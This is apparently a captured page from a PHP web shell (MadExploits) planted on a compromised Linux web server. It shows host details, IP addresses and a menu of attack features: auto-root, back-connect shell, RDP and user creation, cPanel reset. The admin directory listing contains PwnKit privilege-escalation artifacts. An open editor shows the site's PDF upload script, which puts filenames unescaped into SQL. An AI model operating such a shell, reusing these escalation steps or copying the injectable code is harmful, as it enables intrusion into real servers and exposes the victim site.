Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.188.99.207
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
cgpunch /
panchadmin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
froala_assets
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Guidline.php
6.5
KB
-rw-r--r--
INFRASTRUCTURE.php
6.5
KB
-rw-r--r--
aadesh.php
6.5
KB
-rw-r--r--
about.php
6.5
KB
-rw-r--r--
ac.php
6.5
KB
-rw-r--r--
act_and_rules.php
6.52
KB
-rw-r--r--
active-editor.php
458
B
-rw-r--r--
add-new-editor.php
3.56
KB
-rw-r--r--
add-news.php
15.78
KB
-rw-r--r--
affiliation-detail.php
6.5
KB
-rw-r--r--
all-added-news.php
4.8
KB
-rw-r--r--
all-drafts-news.php
2.83
KB
-rw-r--r--
bal-suraksha.php
6.52
KB
-rw-r--r--
check-url.php
467
B
-rw-r--r--
check-url2.php
344
B
-rw-r--r--
cityzen_characters.php
6.53
KB
-rw-r--r--
contacts.php
1.98
KB
-rw-r--r--
create-gallery.php
5.13
KB
-rw-r--r--
create-new-menu.php
12.25
KB
-rw-r--r--
curriculum.php
6.5
KB
-rw-r--r--
dashboard.php
159
B
-rw-r--r--
deactive-editor.php
460
B
-rw-r--r--
del-events.php
367
B
-rw-r--r--
del-gal.php
375
B
-rw-r--r--
del-img-from-gal.php
442
B
-rw-r--r--
del-img-lib-img.php
255
B
-rw-r--r--
del-page-lib.php
249
B
-rw-r--r--
del-pdf-lib-img.php
252
B
-rw-r--r--
del-r-draft.php
441
B
-rw-r--r--
del-r-editor.php
435
B
-rw-r--r--
del-r-news.php
720
B
-rw-r--r--
del-vid.php
372
B
-rw-r--r--
delete-draft.php
1.63
KB
-rw-r--r--
delete-editor.php
1.62
KB
-rw-r--r--
delete-menu.php
1.52
KB
-rw-r--r--
delete-news.php
1.62
KB
-rw-r--r--
delete-r-menu.php
349
B
-rw-r--r--
delete_menu_product.php
1.54
KB
-rw-r--r--
edite-menu.php
14.02
KB
-rw-r--r--
edite-page-lib.php
6.7
KB
-rw-r--r--
editors.php
2.24
KB
-rw-r--r--
error_log
2.98
KB
-rw-r--r--
fearured-news.php
455
B
-rw-r--r--
full-screen-menu-view.php
7.4
KB
-rw-r--r--
gallery.sql
1.71
KB
-rw-r--r--
gallery_images.sql
3.33
KB
-rw-r--r--
get-current-menu-name.php
656
B
-rw-r--r--
get-parent-menu.php
1010
B
-rw-r--r--
get-product-menu.php
1.38
KB
-rw-r--r--
gpdp_Guidline.php
6.52
KB
-rw-r--r--
gram_sabha.php
6.51
KB
-rw-r--r--
hamara_karya.php
6.52
KB
-rw-r--r--
image-library.php
4.18
KB
-rw-r--r--
index.php
5.56
KB
-rw-r--r--
karya_kshetra.php
6.52
KB
-rw-r--r--
log-out.php
129
B
-rw-r--r--
manage-images.php
6.22
KB
-rw-r--r--
media.php
6.99
KB
-rw-r--r--
menu.php
10.16
KB
-rw-r--r--
mission_vision.php
6.52
KB
-rw-r--r--
news-published.php
1.5
KB
-rw-r--r--
nigrani.php
6.5
KB
-rw-r--r--
notifications.php
7.03
KB
-rw-r--r--
nutrition.php
6.51
KB
-rw-r--r--
on-the-way.php
2.19
KB
-rw-r--r--
page-library.php
7.52
KB
-rw-r--r--
pdf-library.php
3.73
KB
-rw-r--r--
pesa_niyam.php
6.51
KB
-rw-r--r--
post-events.php
10.3
KB
-rw-r--r--
powers_by_act.php
6.52
KB
-rw-r--r--
publish-news.php
459
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
samajik-suraksha.php
6.52
KB
-rw-r--r--
samiti.php
6.5
KB
-rw-r--r--
save-draft.php
1.3
KB
-rw-r--r--
save_menu_product.php
1.93
KB
-rw-r--r--
sdc.php
6.49
KB
-rw-r--r--
siksha.php
6.5
KB
-rw-r--r--
suchana_ka_adhikar.php
6.53
KB
-rw-r--r--
swasthya.php
6.51
KB
-rw-r--r--
training_modules.php
6.53
KB
-rw-r--r--
unfearured-news.php
454
B
-rw-r--r--
unpublish-news.php
461
B
-rw-r--r--
update-draft.php
16.06
KB
-rw-r--r--
update-editor.php
4.66
KB
-rw-r--r--
update-news.php
13.14
KB
-rw-r--r--
upload_image_for_editor.php
1.24
KB
-rw-r--r--
video.php
3.11
KB
-rw-r--r--
watar-sanitation.php
6.53
KB
-rw-r--r--
yojana.php
6.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pdf-library.php
<?php include "includes/res.php"; $page_name = " PDF Library "; include "includes/header.php"; ?> <div class="card"> <div class="card-header"> <h3> PDFs in library </h3> </div> <div class="card-body"> <?php if( $_SERVER["REQUEST_METHOD"] == "POST" ){ $allowedExts = array("pdf"); $tmp55 = explode(".", $_FILES["img1"]["name"]); /////========== $extension = end($tmp55); if ($_FILES["img1"]["type"] == "application/pdf" && in_array($extension, $allowedExts)) { ///////========== if ($_FILES["img1"]["error"] > 0) { //////============ echo "Error: " . $_FILES["img1"]["error"] . "<br />"; ///////======== exit(0); } else { /// check mime $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['img1']['tmp_name']); if( $mime != 'application/pdf' ) { echo "Only Pdfs are allowed!"; exit(0); } //// ///// $img1 = $_FILES["img1"]["name"]; $img1 = rand(1,888).$img1; $tmp_name = $_FILES["img1"]["tmp_name"]; move_uploaded_file($tmp_name, "../uploads/".$img1); ////storage //// } } else { echo "Invalid pdf type"; exit(0); } $sql44 = "INSERT INTO pdf_library(img1)VALUES('$img1')"; $connection->query($sql44); ?> <script type="text/javascript"> swal('success',' PDF uploaded!','success'); </script> <?php } ?> <table class="table table-bordered" id="example1"> <thead> <tr> <th>PDF</th> <th>URL</th> <th>Delete</th> </tr> </thead> <tbody> <?php $sql99 = "SELECT *FROM pdf_library"; $rows99 = $connection->query($sql99); while ( $res99 = $rows99->fetch_assoc() ) { $id = $res99["id"]; $img1 = $res99["img1"]; ?> <tr> <td><a src="../uploads/<?php echo $res99["img1"]; ?>">PDF</a></td> <td>http://mywebsiteurl/uploads/<?php echo $res99["img1"]; ?></td> <td><a href="del-pdf-lib-img.php?id=<?php echo $res99["id"]; ?>" class="btn btn-danger">Delete</a></td> </tr> <?php } ?> </tbody> </table> <hr /> <form action="" id="p_form" method="post" enctype="multipart/form-data"> <div class="main-content-label mg-b-5"> Upload PDF in Library </div> <div class="row row-sm m-2 p-2"> <div class="col-12"> <div class="row mb-4"> <div class="col-sm-12 col-md-3"> <input type="file" class="dropify" data-height="200" required="" name="img1" /> </div> </div> </div> </div> <input type="submit" class="btn btn-primary" value="Upload" name=""> </form> </div> </div> <?php include "includes/footer.php"; ?>
Close